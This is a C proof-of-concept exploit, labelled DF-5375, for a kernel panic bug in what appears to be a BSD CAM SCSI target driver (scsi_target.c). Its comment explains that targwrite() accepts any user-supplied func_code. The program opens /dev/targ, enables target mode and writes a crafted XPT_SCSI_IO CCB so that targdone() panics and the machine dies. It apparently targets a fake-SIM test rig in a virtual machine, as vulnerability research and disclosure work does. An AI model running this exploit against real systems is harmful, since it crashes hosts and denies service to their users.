DF-5375 / poc5375.c
/* * DF-5375 PoC: no func_code whitelist in targwrite() -> arbitrary queued * XPT opcode forwarded to xpt_action() -> completion lands in targdone() * whose default case is panic("targdone: impossible xpt opcode"). * * scsi_target.c:584-632 (targwrite) accepts ANY user-supplied func_code; * for queued codes it goes targstart -> targusermerge (copies the whole * ccb payload from user memory) -> targsendccb -> xpt_action. XPT_SCSI_IO * (0x901) is a queued initiator opcode no target daemon may inject; when * the SIM completes it, targdone (scsi_target.c:837-850) panics on the * default switch case. * * Rig: targsim kld (target-capable fake SIM). TARGIOCENABLE targets * (hw.targsim.path_id, 0, 0). * * Expected: "panic: targdone: impossible xpt opcode 0x901" on the serial * console (vm.sh log), guest dies. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/sysctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_targetio.h> static int sysctl_int(const char *name) { int v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) < 0) { fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno)); exit(1); } return (v); } int main(void) { struct ioc_enable_lun en; union ccb uccb; unsigned long p; int fd, path_id; path_id = sysctl_int("hw.targsim.path_id"); printf("[*] DF-5375: targsim bus=%d; open+enable target mode\n", path_id); fd = open("/dev/targ", O_RDWR); if (fd < 0) { printf("[-] open: %s\n", strerror(errno)); return (1); } memset(&en, 0, sizeof(en)); en.path_id = path_id; en.target_id = 0; en.lun_id = 0; if (ioctl(fd, TARGIOCENABLE, &en) < 0) { printf("[-] TARGIOCENABLE: %s\n", strerror(errno)); return (1); } printf("[+] target mode enabled; injecting func_code=XPT_SCSI_IO " "(0x%x) via write()\n", (unsigned)XPT_SCSI_IO); memset(&uccb, 0, sizeof(uccb)); uccb.ccb_h.pinfo.priority = 5; uccb.ccb_h.func_code = XPT_SCSI_IO; /* XPT_FC_DEV_QUEUED */ uccb.ccb_h.flags = CAM_DIR_NONE; p = (unsigned long)(uintptr_t)&uccb; printf("[*] write() queued opcode -> targstart -> targsendccb -> " "xpt_action -> SIM completes -> targdone panic NOW\n"); fflush(stdout); ssize_t n = write(fd, &p, sizeof(p)); printf("[-] write returned %zd (errno=%d) - no panic?\n", n, errno); sleep(3); printf("[-] still alive - NOT reproduced\n"); return (0); } |